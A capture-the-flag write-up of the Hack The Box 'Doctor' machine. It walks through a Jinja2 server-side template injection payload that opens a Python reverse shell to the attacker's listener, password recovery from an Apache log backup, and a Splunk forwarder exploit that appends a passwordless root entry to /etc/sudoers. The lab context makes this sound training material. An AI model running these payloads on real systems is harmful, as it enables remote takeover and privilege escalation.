HTB Write-Up: Doctor
This is a write-up on the Doctor machine challenge from HTB. For more information on challenges like these, check out my post on penetration testing. Special thanks to HTB user egotisticalSW for creating the challenge.
Doctor is an interesting challenge that ties server side template injection (SSTI) with Splunk vulnerabilities for privesc.
Reconnaissance
Start with a basic nmap, revealing ssh, a web server, and another https web server on port 8089. The latter turns out to be a Splunk Universal Forwarder.
nmap 10.10.10.209
Browse around the website and notice that the email domain for contact is doctors.htb (notice the extra s). Since that won't normally resolve, add to /etc/hosts.
echo "10.10.10.209 doctors.htb" >> /etc/hosts
Now browse to http://doctors.htb and arrive at a messaging platform (the server is using virtual hosting, which is a common practice). Browse through the code on the main page and notice the mention that /archive is still under beta testing.
The website allows creation of an account which can be used to post messages. Notice that browsing to http://doctors.htb/archive presents a blank page, but the title of the previous post is visible when looking at the page's source code.
Enter SSTI
With a little trial and error is it possible to determine that the Title field in the form is vulnerable to SSTI, and that the template engine is probably Jinja2. (For more information on SSTI, and how to detect and exploit it, see links below).
By injecting code into the template engine, it is possible to launch a reverse shell. First, launch a listener on the local host for the reverse shell to connect to.
nc -lnvp 1234
Next, create a post on the website, with the below code in the Title field. Substitute the local IP address instead of <YOUR IP>.
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<YOUR IP>\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
Browse to http://doctors.htb/archive to invoke the code and a reverse shell should open. The whoami command shows the user context belongs to user web, while browsing the home directories indicates user.txt is probably located under /home/shaun.
Enumeration
Linpeas is great tool for automated enumeration on a Linux server. Download the script and copy it to the remote machine. One way to move files back and forth is with scp. Once the script is on the server, execute it, save the results, and if desired copy the results back to the local machine for analysis. Note that using common ports such as 80 or 443 can help circumvent local network firewalls and using an account with no password can sometimes facilitate terminal issues in reverse shells. Don't use the latter shortcut in real life.
cd /tmp
scp -P 80 -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no dummy@<YOUR IP>:/home/dummy/linpeas.sh .
chown 700 lineas.sh
./lineas.sh > lineas.output
scp -P 80 -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no lineas.output dummy@<YOUR IP>:/home/dummy
One of the findings highlighted by Lineas is this line in backup file of apache logs: /var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password".
People will sometimes type their passwords into a form where the username or email should go, making it is a safe bet that Guitar123 is Shaun's password.
Getting User
From the reverse shell type su - shaun and enter Guitar123 as the password. Run cat /home/shaun/user.txt for the user flag.
Note: This step is not actually needed as it is possible to compromise the server with Shaun's credentials without ever opening a shell, but included here nonetheless.
Escalation
Back on the universal forwarder at https://10.10.10.209:8089, it is now possible to use credentials shaun:Guitar123 to successfully authenticate to Splunk. Thanks to poor configuration and a forwarder that runs as root, this can be exploited using PySplunkWhisperer2.
Download PySplunkWhisperer2 to the local machine and execute the command below. This will add user shaun to /etc/sudoers and allow the user to elevate to root.
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost <YOUR IP> --username shaun --password Guitar123 --payload "echo 'shaun ALL = (root) NOPASSWD: ALL' >> /etc/sudoers"
In the reverse shell, run sudo su - and get the root flag with cat /root/root.txt.
Recommended Reading
Good articles on SSTI detection and exploitation
- https://portswigger.net/research/server-side-template-injection
- https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34
SSTI payload reference
Splunk forwarder exploit and mitigation